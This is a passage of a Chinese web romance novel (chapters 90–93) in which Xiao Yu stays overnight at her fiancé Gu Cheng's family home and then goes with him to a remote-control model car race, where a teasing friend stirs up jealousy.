“你想得美。”肖瑜拉下她的胳膊,干脆绕过她,拉起顾程的手臂放在自己肩上,把自己完全笼罩在他的拥揽下,让顾菲没办法再硬往自己身上靠,才朝她哼了哼,“不说对不起,别想我原谅你。”
程岚夫妇就在几人另一侧,眼角余光看着两个小姑娘针尖对麦芒地闹,可言语间透出的偏生是明显的亲密,心下颇为感慨。
程岚悄声道,“你闺女这是怎么了?我瞅着一个劲儿热脸往上贴,肖瑜都不稀罕搭理她。可她今儿吃错药似的,居然也没闹?”
90. 第 90 章
第九十章
“一物降一物。”顾连峰低声笑了笑,“老肖家这闺女,其实跟菲菲一样,也是个心直的,什么都摆在台面上。只是她说话温声细语,也讲方式,所以让人不会觉得太冒犯。以后这姑嫂两个相处,你我应该省心不少。”
“阿程眼光的确不错,我瞅着小姑娘漂漂亮亮的,乖巧又懂事,真是一眼看上,都想留家当闺女养了。”程岚也满意地点了点头,不禁轻叹道,“都是闺女,你说人家怎么就把姑娘养这么好,肖瑜比菲菲还小一年,可菲菲这一天天的……哎,难道真是我的错……”
“你已经很用心了。”顾连峰见夫人一提起姑娘,眉目间便多了愁容,他拿余光扫了眼还围在顾程身边比拼嘟嘴技能的两个小姑娘,安慰地拍拍她的肩头,“我们的精力主要在阿程,对菲菲确实有些疏于管教。可你拿阿程出去跟人比一比,别说老肖家的儿子,东省也挑不出第二个。夫人,这个家你最操劳了,别自责。”
“什么时候这么油嘴滑舌了?”程岚脸色微微一红,佯怒地嗔了他一眼,可在转头招呼起小辈们入席时,愁容尽散,眼角眉梢都是温柔的笑意,“都入座吧。来,肖瑜,你挨着阿姨。”
*
一场家宴,笑语连连,其乐融融。结束的时候,听到顾程说晚上就住家里,肖瑜犹豫了一下,还是拒绝了,“我们还没订婚,传出去不太好。”
婚前在外同居是一回事,可还没订婚就住进男方的父母家,尤其还只是第一次见面,的确有失体统。
“明天俱乐部有活动,我需要在这儿赶点活。”顾程确实没考虑那么多,思忖了下,劝道,“都是家里人,不会传出去的。”
“没关系,客房都给你收拾好了。”程岚接收到儿子递来的眼神,也笑着上前劝道,“就算是其他客人过来,太晚了留住一宿也正常。阿姨很喜欢你,只要你不打算日后甩了阿程,就安心住下。”
顾程瞥了她一眼,有些无语。
眼见肖瑜还是不怎么情愿,顾连峰轻咳一声,出面道,“别为难人家,女孩子考虑得多一些是对的。阿程,你忙你的,待会儿让陈……”
“肖瑜可是我闺蜜!”顾菲骄傲地仰起脖子,适时截断了父亲的话,同时赢得母亲和哥哥赞许的目光,“闺蜜家里住一晚怎么了?传出去也是姐妹情深。小鱼儿,你不是还想看看我哥的相册吗?你要是今晚留下,我保证把我哥从光屁股满月照到意气风发蓝联三分王的照片都找给你看!”
肖瑜的眼睛亮了,“真的啊?”
顾程的脸色难得有些尴尬。
顾菲得意地点头,“一言既出,驷马难追。”
“那你先跟我道歉。”肖瑜一点不含糊,“说了对不起才能姐妹情深。”
“你可真轴。”顾菲翻了个大白眼,抖抖已经戴在手上的孔克珠手链,机关枪一样说道,“对不起对不起对不起对不起。行了吧?”
肖瑜的眼睛一下就弯了,跟顾程的父母打了声招呼,立刻在顾菲喜笑颜开的引领下,跟她手挽手嘻嘻哈哈上了楼,留下身后三个人面面相觑。
“今晚笑得有点多,怪累的。”顾连峰先开了口,揉一揉嘴角,慢吞吞转身去了书房,“我看会儿新闻。”
“小姑娘是真的招人疼,嘴甜爱笑脾气宽。”程岚拉起顾程,沙发上坐下拍着他的手,别提多满意了,“我瞅着肖瑜奶呼呼的,肉都长在了该长的地方,的确是个好生养的。我跟你爸得尽早去趟舟城,你也努努力,早点让妈抱上大孙子。”
顾程抬手揉了揉眉心,叹口气,“妈,相册您先挑一挑,别……”他咽了下嗓子,“破坏形象的照片,还是早点挑一下。”
“我儿子哪有形象不好的时候啊!”程岚很不认同地应着,突然一惊,赶紧站起来往楼上走,“哎呦!我忘了,你小时候妈给你涂的那个大红嘴唇,还有穿的那个蓬蓬公主裙……哎呀,马上,别慌,别慌啊儿子,我现在就去挑。”
“啊哈哈哈哈哈!”
爆笑声已经顺着旋梯从楼上传来,顾程的脸黑了一下,十分无奈地起了身,决定暂时远离这两个姐妹情深的小东西。
*
“啊……啊!我怎么没生在泽城,错过了错过了!”
客房抓绒地毯上,肖瑜跟顾菲两个人趴在那儿,翻着大本大本的相册,痛心疾首。
婴儿期的顾程圆润得像个球,连肖帅都没经历过这么肥的时期。肖瑜本以为他是那种一出生就低眉冷目,端方早熟的佛系娃,哪里料得到他还有这么可爱的一面。最搞笑是百天照,被程岚穿了公主蓬蓬裙,化了个妖冶的大红嘴唇,眉心一点红。懵懂的小肉球一无所知,憨憨地咧着嘴,笑得没心没肺,简直萌得让人心都要化了。
婴儿肥一直延续到初中毕业才结束,但对比同期男生,还是显得有些虚胖的魁梧。那时的他笑得很随性,时常露出八颗白牙,眼睛弯得都眯成缝儿,不过可能也跟当时比较胖有关,很阳光,很灿烂,但是跟如今俊朗清隽的模样完全比不得。
真正拔条儿长个是在高中那几年,突然间就瘦了下来,优越的五官也日益长开,只是笑容却在一天天转淡。直至照片的背景换做大学校园,他的脸上已多是些冷静沉着的神色。
大学篮球联赛,兄弟学校辩论大赛,动力俱乐部活动现场,他始终是最耀眼的存在,周遭更是少不了女孩子心动的眼神,和男孩子艳羡钦佩甚至嫉妒的目光。
肖瑜正看得入迷,菲菲卡嚓卡嚓嚼着薯片,在旁道,“我哥厉害吧?在咱们泽城的圈子里,他绝对是独一枝的。不过他真的很努力,下个月还要去伦敦参加MBA的同学会,去年刚读完的。不像我,从小到大家教老师没断过,也就勉强混了个大学毕业。”
肖瑜翻看着那几张外国院校为背景的照片,惊讶地问道,“他在伦敦留过学吗?”
“他都忙死了,哪儿有出国留学的时间啊,线上的,挤时间熬夜学。”顾菲摇摇头,眼神暗了下来,“那段时间
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我大哥出了事……大伯家的。公司里的事情我不懂,我只知道那段时间我哥刚进集团,尤其沉默寡言,好像是挺心累的。而且大伯那段时间都是我哥在照顾,不然他们一家肯定挺不过去,也不会像如今出现在电视上那样意气风发。这事儿你可别提,是我们家的忌讳,我哥想说的时候会告诉你的。”
肖瑜虽然好奇,可也知道有些事是家族隐秘,点点头继续翻看着相册,指着其中一张问,“这是在俱乐部吗?所有的参赛车模,都是他自己做的?”
“嗯。”顾菲把她拉起来,跑到飘窗前指着后花园一座亮了灯的小屋,“那就是他的车模基地,压力最大的时候,他曾经在那儿亲手拆了一部法拉利,又给重装了一遍,老牛了。”
“原来他的解压方式是这样啊……”肖瑜还记得肖帅第一次钻在车子底下拆零件,灰头土脸爬出来的模样,可不知怎么的,想起顾程,却是男人聚精会神干干净净,认真到连呼吸都透着性感的神色。
她的心忽然砰砰乱蹦,小声问,“他的基地,允许别人进去吗?”
“自家人当然可以进去。不过想去还是明天吧。”顾菲打了个呵欠,揉揉眼睛,“不早了,咱俩洗洗钻被窝聊天吧。我哥明天不是还要带你去参加俱乐部的比赛吗?他今晚应该会捯饬挺久的。”
“也行。”要陪男朋友出门见人,肖瑜也觉得应该早点睡,元气足了皮肤才能更好,她脱下外套,走向浴室,“帮我准备点精油和面膜哈。”
“嗯呐,我去拿。”在泽鼎的时候,多少了解肖瑜的习惯,顾菲起身拿起看完的相册,轻快地跑回了自己的闺房。
原以为她会跟在泽鼎似的,洗完澡跟自己聊着天一起护肤,可裹着浴巾出来看到茶几上摆着的一整套美肤用品,肖瑜奇怪地看了看房门,还是敷上面膜倒了点精油,率先开始涂抹。
皮肤湿润温暖的时候养护,效果最好。她没拿手机支架,也没带电脑,安静又宽敞的房间里揉捏着自己的腿部,好奇地打量起四周。
客房在二楼,顾菲他们都在三楼往上。她住这间是在尽头,风景不错,落地窗外可以看到人工湖大片的水域,隔岸是依旧灯火通明的城市景观,高楼林立,更显得这里闹中取静。顾程的基地里还亮着灯,看来果然一时半会儿还不会休息。
面膜都干了,顾菲还没过来。肖瑜拿起手机给她发了个语音:【你忙完了吗?给我带件睡衣?有一次性内裤就最好了。】
也不知道顾菲这个有异性没人性的家伙是不是又在陪阿J,老半天没回复。
她起身在客房里的衣橱里找了找,裹了件香香的睡袍,打开电视,躺去了床上。
迷雾剧场看了大半集,房门终于有了动静,却不是顾菲那种一扭就往里冲的力度,而是窸窸窣窣,鬼鬼祟祟。
因为是在顾家,肖瑜压根没什么警惕心。可刚才电视上还有变态用十分残忍的方式肢/解了被害人,她盯着慢慢被扭转的门把手,浑身汗毛都竖了起来。
91. 第 91 章
第九十一章
见到来人的那一刻,肖瑜都要被吓哭了,瞪着他撇着嘴,委屈得不行,“你怎么不敲门?吓死我了。”
“我以为你睡着了,怕吵到你。”顾程看一眼电视屏幕,拿起遥控按了退出,“怕还看这种电视,练胆子?”
“你的车模弄好了?”眼见顾程关上门径直向床榻走来,肖瑜咽了下嗓子,揪住薄被坐了起来,“你……你这么晚过来,有事?”
“没弄完,明天早上再说。”顾程已经换了套睡衣,发丝还有点潮,闻言从口袋里抽出一个小包装,“一次性内裤。”
肖瑜接过来,看到随着小包装掉出来的另一个小包装,脸颊登时便有些发烫,不由自主并紧了双腿,“我……谢谢。”
顾程挨着她坐了下来,“明天俱乐部有个比赛,我带你认识一些朋友。”
“嗯。”清爽的香气钻入鼻尖,肖瑜硬是觉得嗅出了几分他独有的味道,上头又上脸。她往另一侧挪了挪,才能掩饰住心脏突然狂跳的咚咚声响,“我知道。我还专门揉了精油做了面膜,不过明天得早点出发,我得先去买套衣服换。”
“怪不得脸润得像桃子,看得让人想咬。”顾程也挪了身子靠过来,偏头吻向她红透的耳朵,“精油呢?揉哪儿了?”
低哑的声线,温热的鼻息,他的唇触上耳朵,肖瑜忍不住缩了下脖子,嗓音也有点哑,“身上啊……”
双唇被啄了啄,男人的五官在眼前放大,滚烫的掌心更是不打一声招呼,直接探入她毫无遮罩的怀里,喃声笑道,“抹在身上别人又看不到摸不着。既然抹了,就别浪费。”
一声娇吟不可抑制,肖瑜脸红心跳偷眼瞥着房门,伸手推搡他压下来的胸膛,“你别闹。一会儿菲菲过来看见了,多难为情。”
“她不敢。”
蝴蝶结一拉就开,温柔的灯光下,玲珑起伏的曲线被健硕有力的身躯笼罩,静谧的夜色中,逐渐传来破碎凌乱的喘息,压抑克制的娇吟。
“你……嗯,我有点怕……万一叔叔阿姨……”
“睡了。叫我。”
“嗯?”
“叫阿程。”
“阿……啊!阿程……唔!你,唔……阿程……”
*
次日去往俱乐部的路上,除了出市区前在路边专卖店随便买了两套休闲装,肖瑜一路都没睁眼,歪在顾程身上睡得七荤八素。
因是在顾家,昨晚她实在有些放不开。隐忍压抑地克制着自己的声音,时不时偷眼去看房门,生怕闹出的响动会惹来顾程的家人,或者家里的佣人。可也不知是那一声声‘阿程’语调破碎太诱人,还是她缱绻娇媚的眉眼偷感太重太刺激,原本只打算浅尝辄止的男人,居然摁着她折腾了大半夜,才被她泪眼欲泣地赶出了客房。
拿姐妹情深做由头留宿一晚,要是大清早被人瞧见顾程从她房间里走出来,肖瑜真觉得有些抬不起头。
还好吃早饭的时候,顾连峰和程岚看起来确实一无所知,依旧如昨天那样和蔼慈祥跟她拉家常,顾菲也乖巧地没有大嘴巴。顾程更是神色淡淡,那副清心寡欲的模样,就仿佛昨晚只是她一场春梦,睡过无痕。
然而酸软的腰腿,铺天盖地的睡意,无声控诉着餍足的男人,昨晚多卖力。
‘嘭’一声枪响,肖瑜惊得直接从睡梦中弹了起来,把身边正摆弄车模的顾程也给吓了一跳,回过神来无奈地去揉她的脸,“睡这么沉?第一轮比赛都开始了,抱你过去?”
动力车模俱乐部,地处泽城郊外的度假山庄,只不过度假山庄本身对外开放,一隅的俱乐部却是会员制,停车场上除了顶级保姆车,还有各式豪华超跑,跟在山庄主停车场的其他私家车完全两个世界。
待他二人下车,司机便把保姆车开去了主停车场,办理入住手续,安置行囊。原本的确只是过来参加活动,可因为肖瑜是第一次来,早上听顾菲提及山庄里的温泉,很有兴致地追问了几句,顾程才临时决定住一晚,多多少少收拾了些惯用的东西带过来。
不远处的赛场上,早已聚集了不少摇旗呐喊的男男女女,气氛热烈。
多功能楼二层延展伸出的控制台上,赵经年看到顾程,飞快地跑了下来,跟肖瑜点了下头,便催促顾程道,“你可赶紧的吧,刚才申二花还口出狂言,说你是怕了他的赛地狂魔,打算弃权了。哎?”他正说着,不由皱眉从顾程手中拿过黑色的小山地越野,撇了下嘴,“怎么这回带这么个小玩意儿?山地老怪呢?”
“送人了。”顾程心不在焉应了一声,抬头看向控制台。一眼就看到其中手持遥控、穿得花蝴蝶一样的男人,叼着烟,嘴里冒着白气,眼睛正瞪得驴一样,聚精会神看着赛道左摇右摆。
“你送谁了!”赵经年痛心疾首地跺了跺脚,“还是不是哥们儿?我都管你要了好几次了都不给,你到底给谁了?我得去要回来。”
“你可要不回来,给我大舅子了。”顾程没再理他,转头去拉因二人对话抿嘴直笑的肖瑜,“时间差不多了,我们上去。”
“我就在这儿看吧,气氛更好。”围观的助威者声音很响,但场地大,人群并不密集,不仅有男人,还有女人和小孩。相比只有赛手依栏而立的控制台,这里更能体验观赛的快/感,也更方便大声给顾程加油。
第一轮比赛的倒计时已经开始,解说员激动的声音透过大喇叭,在空旷的场地上震耳欲聋,顺带催促着第二轮的赛事准备。
顾程蹙了下眉,提醒道,“比赛中除了参赛者,可不是谁都能被带上控制台。”
“可是……”肖瑜看他一眼,登时眯弯了眼睛,“你好黏人哦。一分钟不见我就很舍不得,是吗?”
赵经年噗的一声笑了出来,连忙转头看向赛场,“哎!申二花要赢了啊!干!”
顾程答得面色无波,“主要下边人太多,你一个人在这里不安全。”
“青天白日的,跟你过来的人谁敢动?没事儿!你不是还专门让我带了人过来陪她吗?也在下边呢。”肖瑜还没说话,赵经年又把脸转了回来,搡一把顾程的肩,一整个皇帝不急急死太监,“你赶紧的上去,弟妹和车我来安排。快着点,第一轮这都结束了,别墨迹,干死申二花才是重点!”
顾程的眼神淡淡的,从他脸上扫过,又落在肖瑜的脸上。没动。
赵经年没辙了。
肖瑜想笑,可又觉得他这种眼神下再笑,似乎有点过分。她咬住嘴巴反握起顾程的手,晃了晃,“我想陪你。我陪你上去好不好?”
给予喜欢的人偏爱,她从不会吝啬。
顾程点点头,交代赵经年,“窜天猴就拜托你了。谢谢。”
*
“啧,姗姗来迟啊。”
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楼梯上肖瑜正跟顾程说笑,因为他们这些酷酷的车模,名字却一个比一个接地气。迎面见到一个穿得花蝴蝶似的男人走下来,看到顾程,哼了一声道,“可别输在前头了,等着最后一轮干翻你呢。”
顾程翘了下唇角,不屑道,“常败常挑衅。你不如日后改名申二炮,嘴炮你最行。”
“看看,咱们端方君子顾少,一张嘴埋汰起人来,跟市井泼妇也没什么区别。”男人忽然咧嘴笑了,上前跟他碰了下拳,浪荡的目光在肖瑜身上顿了顿,居然挑起眼尾冲她眨了下右眼,明目张胆地放电,“我是申少京。小妹妹,叫声京哥哥听听。”
肖瑜惊讶地看着他。
顾程的眉心蹙起来,不悦道,“别作,这是我未婚妻。”
“未婚那就不是妻。”那申少京似是丝毫不顾忌,再度冲肖瑜放了个电眼,嬉笑着道,“肖瑜是吧?怎么不叫人呢?哥哥我看起来比他还凶吗?”
顾程的脸色沉了下来,可下一秒,却又绷不住笑,甚至都笑出了声。因为肖瑜很认真地叫了一声,“你好,申二花。”
申少京那一脸风流登时多了些了猪肝色,憋半天,指着肖瑜憋出一句,“行。真行。”
说完扭头哼了哼,居然还翻了下眼睛,大跨步地下了楼。
“你们是很好的朋友吗?”肖瑜被他逗得直笑,到了控制台还忍不住好奇,不停地问,“我很少见到别人这么跟你说话。还有你们为什么叫他申二花,是因为他爱穿花衣服吗?可为什么是二花,不是大花或者三花四花?”
“因为他又二又花心。”第二轮的赛手基本就位,人人都在专心地低头看着赛道调试车模。顾程看一眼正中间空下的位置,让服务生带肖瑜去后方的沙发上喝东西,叮嘱道,“是发小,关系很好,但对他的好奇就此打住。我去比赛。”
肖瑜正要点头,转身前,他又匆匆说了句,“别跟他说话,他嘴欠。”
激昂的声音很快又在大喇叭里响起来,解说员提到顾程的窜天猴时,嗓音越发激动,不仅提及了曾经的常胜将军‘山地老怪’,对这只新的车模也期待万分,楼下围观众人更是呼和呐喊,惊呼声此起彼伏。
肖瑜对那个申二花的好奇,仅仅来自他跟顾程看起来与众不同的相处方式。如今听到场上那么热闹,她转头便忘了这个小插曲,端着一杯香槟起了身,翘头从边角去看,却也只看得到已经在赛场上掀起的沙尘。具体窜天猴表现如何,全靠解说员时不时的点评。
看不清楚赛场,她倒也不介意,折身又坐回沙发,干脆专注欣赏起自己的男朋友。
顾程今天穿的是惯爱的深色衣装,深咖薄衫,黑色休闲裤,高大的背影肩宽腿长,极为赏心悦目。
他身侧那几个赛手,有老有少,时不时会激动地猛抽一下手臂,或是随着遥控扭来扭去,仿佛手里拿的是真正的方向盘,正疾驰在路况复杂的路面,稍有不慎就要车毁人亡。
而她家的顾先生,沉着冷静稳如泰山,最大的动作也不过是探身低一下头,继而重新归位,稳得让人只想上去抱住他的腰狠狠晃,晃到他失控。
“阿程就那么好看?比我还好看?”
冷不丁一声低笑,肖瑜咽了下嗓子回过神,看到的就是申少京促狭的笑脸,“小妹妹,人人都说我比他帅,更好相处,秦舒曼也不例外。所以你的眼神是不是不大好?”
92. 第 92 章
第九十二章
他说着,还手欠地伸出巴掌在她眼前晃了晃,挡住她看向顾程的视线,笑问,“这是几?”
肖瑜听他提起秦舒曼,眼神登时变了,蹙眉道,“这是二!阿程居然还说你是他的好朋友。你这样拆台,小人行径。”
她一边说,一边往沙发另一侧挪,嫌弃的眼神完全不加掩饰。
申少京深呼吸一下,如花笑颜有点僵,可很快,没事人一样又笑,“你知道秦舒曼啊?阿程怎么这么实诚呢,什么都跟你说。不过他恐怕还没告诉过你,他可不只带秦舒曼上来过。那什么周董的千金,王书记的闺女,也都上来过。妹妹,你可不是唯一一个哦。哎,嫁人之前得多多了解,你毕竟是舟城的,对咱们泽城第一少可能只是知些传闻,哥哥都是为你好。”
“你这嘴真不是一般的欠。”肖瑜是真的有点生气了,放下香槟,厌恶地起身道,“又二又花,真是名副其实。朋友妻你都欺,白瞎长得像个人。”
跟着不理会似乎还要再张嘴的申少京,气呼呼径直走向了顾程。
顾程还在专心看着赛场,并未注意身后的动静。她眼睛里都被气得泛起了水雾,抹了下眼睛,咬住嘴巴,一直等到赛场上传来震天的欢呼。
不出意料,是窜天猴拔得了头筹。
“厉害啊顾少,这小蚂蚱一样的窜天猴,灵巧得很。哪个型号的调速器?”
“比山地老怪还有看头,你小子不会找了专业的来搞吧?那可是作弊呦。”
诸人嬉笑声中,顾程噙着笑转过身来,不及细看,怀里就钻入一个人,把他抱得紧紧的,胸脯剧烈起伏着,不用看都感受得到无尽的委屈。
他心头一紧,下意识就看向了沙发,果见申少京吊儿郎当地自那厢走过来,张嘴就告状,“你未婚妻骂我。”
“他嘴不是欠,是贱。”肖瑜听他恶人先告状,气得脸都涨红了,抬起头撇了嘴,“我讨厌他。”
谁料顾程一听,却笑了起来,一边安慰地拍着她的背,一边低头轻哄,“这张贱嘴又说什么了?你说,我帮你出气。”
“什么董的千金和什么书记的闺女,还有秦舒曼。”当着申少京的面,肖瑜写作文的总结之道信手掂来,“总的来说,他说你来者不拒,人尽可妻,让我想清楚了,最好别嫁给你。”
这话听完,顾程笑不出来了,看向申少京的目光有点凉,“小申总,别逼我跟你绝交。”
“哎小妹妹你这……”眼瞅着顾程面色不虞,申少京也敛了流里流气的笑,十分无奈地耷眼瞅着肖瑜,“这话怎么到你嘴里这么变味儿呢?哥哥只是跟你说,阿程带过别的女人来看比赛,我什么时候说他人尽可妻,让你别嫁给他了?”
“你不就是这个意思吗?”肖瑜反唇相讥,“还问我阿程是不是比你好看?你但凡买得起镜子照一照,也不会问出这么没脸没皮的话。”
“怎么还人身攻击上了?”申少京靠着这看人眼神惯拉丝的脸,和风流潇洒的性格,打小就受欢迎,换女伴比换衣服还快,这还是头回被女人贬得一文不值。再看到顾程忍不住翘起的唇角,他脸色一暗,气急败坏地道,“你吃醋你就直说,有本事你找阿程闹去。你跟我这么来劲做什么?是你们家阿程带了女人上控制台,又不是我,我可从来没带过。不止我,别人都没带过,不信你问问!”
方才那几名赛手起初还好奇地看着三人,这会儿早就鸟兽散,而新一轮比赛的选手也一一就位,听到声儿只装作低头专心看赛道,没人上来掺和一个字。
“有什么好问的,上控制台了不起吗?我还不想在这儿待着呢。”肖瑜此刻也是真的被激出了几分醋意,尤其见顾程一声不吭,还莫名其妙突然又多了几分笑,她咬了下唇,甩开他的手转身就走,“稀罕!”
顾程连忙伸手去拉她,一个没拉住,肖瑜真就跑得飞快下了楼梯。
他蹙眉横了申少京一眼,迈开脚步,“嘴欠就少说。不说话会死?”
“长得跟个小白兔似的,没想到骂人不带脏字却脏得厉害。”申少京低哼一声,边跟着他迈开脚步,边气呼呼告状,也是满腹委屈,“一样的话术,怎么到她这儿连人尽可妻都出来了?秦舒曼多好,怎么说都不会生气,四两拨千斤,总是笑眯眯的。别的女人也多好,听了就去找你闹一闹,把你闹得没办法专心比赛,也让大家看个开心。哎,这小辣椒脑回路怎么就这么奇特,居然逮着我一顿骂,还说我丑?阿程,你摸摸良心,我唇红齿白人见人爱,真的不比你帅?”
顾程却听笑了,点头道,“你帅,你最帅。你开心就好。”
“……干!你俩真该是一家的,服了。”
*
肖瑜绷着脸趴在围栏上。
她想起方才还以为顾程是舍不得离开她,非得让她待在身边才安心,可事实上任哪个女人跟了过来,他都会把人带上去。这哪里是偏爱和舍不得,根本只就是习惯而已。
她一直以为自己会是个心胸宽广,珍惜当下的女朋友,不会乱吃飞醋,更不会去介意男朋友曾经的感情经历。可事实证明,即便顾程名义上的女朋友只有过秦舒曼一个,可听到他居然带过那么多女人一起出来玩,生完了那个申二花的气,此刻她心里酸的那是一塌糊涂。
正撇着嘴自怨自艾,一辆红色的车模在飞驰中急转弯,腾一声侧翻在地,原地打转,冒出一股子白烟,在她眼前那块糙地上直嗡嗡。
赛场内围不同方位,都有着装清凉、身姿丰满的车模做赛事助手,专门在动力车模出故障或是需要翻转时上前服务。见状不远处的女助手跑过来,蹲身,快速把侧翻的小红车摆正位置,起身时,却挺胸对着肖瑜抛了个媚眼,丢了个飞吻。
肖瑜愣了一下,便听身侧响起还带着笑意的嗓音,“真的吃醋了?”
原来人家美女不是冲她,而是冲顾程。
她赌气地没理他,双手依旧搭在围栏上,眼睛直盯盯朝着赛道看。
“那些都只是相亲对象,有时候刚好碰上有活动,就一起过来了。”
肖瑜的唇角抿了抿,没搭理他。
顾程叹了口气,试探地伸手搭上她的肩,见她没躲却也没反应,他垂眸想了想,继续解释,“少京爱玩,对谁都是这样,并没有恶意。我已经提醒过他了,以后不会乱说话的。”
见肖瑜还是不理人,他难免有些无措,五指蜷了蜷,又靠近一些,低下头几乎贴在她的耳畔,悄声道,“别生气了,待会儿比赛结束,让他亲自跟你道歉。好不好?”
现场诸人大多是认识顾程的,方才他过来的时候,还被几个人拉着打了招呼,此刻看到顾少做小伏低地凑在一个小姑娘身边,人家却不屑搭理他,有些个只是来凑热闹的,赛事都不看了,转头
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饶有兴致地只盯着二人。
顾程倒是不介意,可肖瑜察觉到那些玩味的目光,到底觉得有些不自在,偏了头。
她这么一躲,顾程的心里便有些不是滋味,干脆上前捞住她的腰,一下就给人摁进了怀里,低头看着小姑娘凶巴巴瞪过来的大眼睛,蹙了眉,“我都解释了,你怎么还生气?要不现在就把少京叫过来,让他给你认错?”
“我是在生他的气吗?”肖瑜的嘴角撇了撇,垂下眼睛,“我以为你要我陪你上去,是因为舍不得我,想黏着我。现在才知道,这只是你带女人过来的习惯而已。我心里不舒服,还不能生会儿气了?”
“这也能生气?”顾程此刻才算明白症结所在,有些哭笑不得,“她们过来的时候,我没邀请过,是非要跟着才一起上去的。我……”
小姑娘一秒变脸,刚才还气呼呼瞪着他的大眼睛里,顷刻就充满期待,有了光。他咽了下嗓子,无奈地叹了口气,“我确实是……舍不得,也不放心你一个人在下边。”
“真的?”
能当众说出这种直白的话,对顾程来说,已实属难得。可肖瑜居然还咧着嘴,反手抱住他的腰,晃着他追问,“你就是想黏着我,一秒都舍不得跟我分开,对不对?”
“对!我发誓,是真的,真的比你现在看到的太阳都真!”
顾程只是看着她笑,明明唇齿未动,却有声音自他身后传来,十分不正经的调调:“人家还想跟你做连体婴,朝朝暮暮搂搂抱抱,日日夜夜卿卿我我。”
听到这嬉皮笑脸的声音,肖瑜的脸色就是一沉,环在顾程腰间的手也放了下来,再度噘着嘴转了身。
顾程低叹一声,蹙眉看向自身后直起腰的申少京,还有跟他一起过来的赵经年,眯了眯眸,“今儿不给你一点教训,看来是过不去了。”
“冲冠一怒为红颜?行啊!”申少京赶紧把脸凑到顾程面前,挑眉笑道,“我都好多年没被人揍过了。来,阿程,冲脸打,让圈子里的人看清楚点。这样以后我们家老头子再教训我,我就能把你这个榜样拉出来溜溜了。”
“你有脸?”顾程轻嗤一声,搂过肖瑜笑了笑,“等下你就在这儿看,别乱跑。比赛结束我过来找你。”
“别动手。”肖瑜听了他们的话,虽然还是心里有气,可还是缓了脸色,拉着他小声道,“你凶他一顿,让他以后别胡说就行了。”
“嗯。”顾程安慰地握了握他的手,叫赵经年把女伴带过来陪在肖瑜身边,勾起申少京很亲热地边走边道,“第一你就别想了,自找的。”
“可吓死我了。”申少京翻了个大白眼,跟他一起来到赛场一侧的车模调试区,一边抱起自己的赛地狂魔调试,一边不屑地扫了眼浑身漆黑的窜天猴,“真当你这窜天猴能上天啊?今儿你这第一,小爷还真就抢定了!”
“我拿不拿第一不重要,重要的是,你肯定拿不到。”顾程调整了一下车模的轮子,招招手叫了赛事助手过来,“叫两个安保,得能架得住申少的。省得他待会儿输急了干扰我。”
申少京哼了哼,有种被人鄙视的不耐,“哥们儿第一次跟你玩车?胜败乃兵家常事。你放心,这点心胸我还是有的,绝对不会做出坏规矩的事。”
顾程笑笑没说话,示意助手去叫人,继而专注地给窜天猴加油蓄电,再没搭理时不时偷眼瞧他脸色的申少京。
93. 第 93 章
第九十三章
六轮基础赛事结束,各场首位齐聚控制台。其中两位头发都已经花白,还是满脸的胜负欲。
肖瑜已经看了半天,跟着众人一起啊啊尖叫,兴奋的时候还从旁边的小朋友那里要了个加油棒使劲儿挥。情绪释放出来,早就只剩下满怀的期待,在起点锁定了窜天猴的位置,便眼冒粉红心心,抬头目不转睛看向了控制台上的顾程。
她身侧,赵经年的女伴时不时悄悄上下打量她一下,嘴角的浅笑保持得很完美,心里却烦得都是郁气。
她叫刘萌,大学毕业刚两年,在赵经年的科技公司任职市场部助理,是赵经年身边为数不多还尚有几分学生气的女伴。今天这样的活动,赵经年没带车模女友,却带了她。原本她还想趁机拉拉人脉,可来前就被赵经年叮嘱,一定要帮顾总照看好他这位大学还没毕业的未婚妻。
来这儿的,除了酷爱车模、携妻带子的几位家庭型中年老总,都是泽城有名的富家子弟官家哥儿,被带过来的女伴们也都奢饰品裹身,争芳斗艳。可身侧这个一身阿迪达斯的小姑娘,刻意穿得简单低廉、扮小白莲就算了,一点形象都不顾,吼得叫得她头直疼。要不是那张脸出水芙蓉一般,是男人们惯爱的柔美清纯系,她还真是想不明白,站在泽城金字塔顶端的顾程,到底看上了她哪儿。
只是顾程完全是她不可肖想的,也不敢得罪,她有自知之明。所以除了老老实实先陪着这个还没被玩腻的小白莲,她也确实是没辙。
‘砰’一声枪响,刘萌回过神来,深深提了口气,僵硬地翘着嘴角看赛场。
六辆车模同时窜出去,众人欢呼声中,肖瑜兴奋地大喊,“窜天猴!加油!亲爱的!干掉申二花!耶!耶!耶!”
大家都在喊,但喊得指名道姓还这么疯的,独此一枝。
离得近的早已有人笑着看了过来,有嫌弃的,有觉得新鲜的,还有眼神在控制台和肖瑜身上转的。刘萌终于忍不住,暗暗翻了个白眼,悄悄往边上挪了挪,离小白莲远一点点,嫌丢人。
“啧,看不出来,小姑娘长那么乖,带劲儿啊,挺疯的。”申少京嘴里叼着烟,一边捯饬遥控,一边还趁着换气儿的功夫嘴欠,“跟我脾气挺对啊,配你这闷葫芦实在是有点……我操!阿程你干嘛!”
赛场周边也都发出惊呼,继而是越发热烈的叫喊,连解说员都惊讶地快要结巴了。
因为高速疾驰在赛场第一位的窜天猴,飞跃高位后突然一个空中急转,用赛事尾声才常用的凶猛力道,直接掉头朝着大了它小半圈的赛地狂魔冲了过来。
刚刚落地的赛地狂魔根本没有半分防备,登时就被撞了个底朝天,四只轱辘在申少京的遥控下,嗡嗡空转。还是一侧的赛事助手连忙跑过来把它翻了个个儿,才又重新支棱起来。
可窜天猴再次朝它撞了过来,主打一个趁你病要你命。
赛事助手连忙又把赛地狂魔翻过来,窜天猴继续撞。
如此往复三五次,赛事助手便很有眼色地不再去帮窜天猴翻身。可窜天猴还是不放过它,撞一下,退回去,加足马力继续撞,周而复始。
围观的欢呼喝彩停了下来,解说员也说不下去,甚至没有人再去关注赛场上的其他车模,而是神色各异全数看向了控制台,开始窃窃私语。
肖瑜也瞪大了眼睛,有些摸不着头脑。虽然第一次看泽城的车模赛,可规则也不至于跟舟城差那么多吧?
控制台上,申少京一张脸惨白,咬着牙,硬着脖子就朝顾程走过去,却被提前安排的安保拦住,很为难地看着他。
身侧那几个赛手,不免受到干扰,尽管自己的车模还在赛道上疾驰,目光却专心不起来,狐疑地看看申少京,又都看向了顾程。
唯有顾程漫不经心低着头,脸上早就没有半分笑意,冷冷淡淡,摆弄着摇杆让窜天猴一次又一次,东南西北,换着方向,疯狂撞击赛地狂魔。
“阿程。”申少京干脆摔了遥控器,扯一下领子,冷声道,“你坏规矩。”
“规矩?”顾程勾了下唇,懒得看他,“你以为我今天带她过来,就只是带她玩玩?”
